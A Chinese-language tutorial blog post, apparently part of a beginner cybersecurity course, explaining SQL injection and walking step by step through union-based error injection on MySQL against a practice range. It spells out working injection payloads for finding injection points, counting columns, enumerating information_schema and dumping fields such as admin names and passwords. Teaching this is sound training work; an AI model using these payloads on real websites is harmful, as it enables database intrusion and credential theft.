网络安全从入门到精通(第五章-1)sql注入的原理(显错注入详细教程)

				sql注入的原理分析
	本文要点:
			~什么是注入
			~注入的条件
			~判断注入点
			~显错注入的基本流程
			~补充说明

一、sql注入本质

	1,注入攻击本质:将用户输入的不可信数据当作代码去执行
	
	2,条件:
			~用户能控制输入
			~原本程序要执行的代码,拼接了用户输入的内容,然后执行
	3,判断是否存在注入点
	
			~古老的判断:
				select * from news where id=1 and 1=1	正常输出
				select * from news where id=1 and 1=2	没输出
				满足上述两个就存在注入,为什么? 因为拼接的and语句执行了
			~简单的判断:
				select * from news where id=1	正常输出
				select * from news where id=1'	爆出错误
				满足上述两个就存在注入,为什么? 因为拼接的 ' 被执行了
			~推荐的判断:	
				select * from news where id=2	正常输出
				select * from news where id=2-1	正常输出
				满足上述两个就存在注入,为什么? 因为拼接的 - 被执行了
				
				or sleep(5)			网站会缓存5秒之多  再出现页面,说明 输入代码被执行
				
				
			~说明:
				~and 和 左右条件都得成立
				~or  或 左右成立一个就行
				~sql注入的'' ""是成对出现,不能仅出现,否则会进行报错
				~sql语句支持数字运算所以,- 可以判断注入  
					但是不要写+ , +有可能会被理解为 空格 和 连接符
			
		猫舍靶场:http://59.63.200.79:8003/
		
	
	4,显错注入-联合查询(mysql数据库)的基本流程
			要求:联合查询的字段数必须相同,怎么知道当前表的字段数是否相同?
					可以用order by
	
			~判断是否存在注入点
					参考3
					
			~猜解字段数			
					//order by去试试,不出内容或者报错就得出表的字段数
				例如:
					select * from admin where id = 1 order by 4;正常执行
					select * from admin where id = 1 order by 5;爆出错误
					说明admin有4个字段
					
			~联合查询寻找输出点		(!!!联合查询,条件是union左右列数相等)
				例如:
					select * from admin where id = 1 union select 1,2,3,4;
					成功执行,就说明一共有4列  
					//select 1,2  就是输出1 2;这些数可以随意定义
						
				但是一般网页只有一个输出点,如何输出我们的语句呢?正常网页仅会输出部分数据库内容
				用到;limit
				limit 0,1	[从结果的第一行数据取一个]
				limit 1,1	[从第二行数据取一个]
				例如:
					select * from admin where id = 1 and 1=2 union select 1,2,3,4 limit 0,1;
					select * from admin where id = 1 union select 1,2,3,4 limit 1,1;

					
			~查询系统自带库查询表名、字段名 来获取 库名  表名  字段名
				
				~database()	查询当前库名
					
				~mysql5.0版本以存在 information_schema这个系统自带库 
					其中保存着关于MySQL服务器中所有数据库的信息。
					如数据库名,数据库中的表,访问权限等
					//低于5.0只能爆破了
				
				~information_schema.tables			
					存放表名与库名的对应。代表information_schema库中的tables表
				
				~information_schema.columns 
					存放字段名和表名的对应 代表information_schema库中的columns表
				
				例子:select 1,table_name from information_schema.tables
					where table_schema=database();
				
				
				~查询我们需要的字段的值
					注意输出点,再输出点就行替换 假设下列例子输出点在 2 上,对其进行替换
					select * from admin where id = 1 and 1=2 union select 1,name limit 0,1;
					select * from admin where id = 1 union select 1,pwd limit 1,1;
					
	5,补充:GROUP_CONCAT()	函数的用法将结果放置一行之中 逗号隔开 进行输出
			例如:select GROUP_CONCAT(name) from admin ;	
				  就会将admin之中的name列所有数据放在一行,用逗号隔开就行输出。结果如下:
							GROUP_CONCAT(name)
							001,002,003
	6,总结:
		手工注入过程总结:		库--表--列--字段
		1,id=-1' union select 1,2,3,database()					
						#得到本网页数据库名字
		2,id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
						# 获取本数据库中的所有表名字
		3,id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# 
						#获取所有列名字   这里需要用16进制绕过  有的不要转直接 '表单名字'
		4,id=-1' union select 1,2,3,GROUP_CONCAT(flag) from 表名字
						#得到所有字段,	另外order by  给列排序
发布了24 篇原创文章 · 获赞 3 · 访问量 1746

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/104037768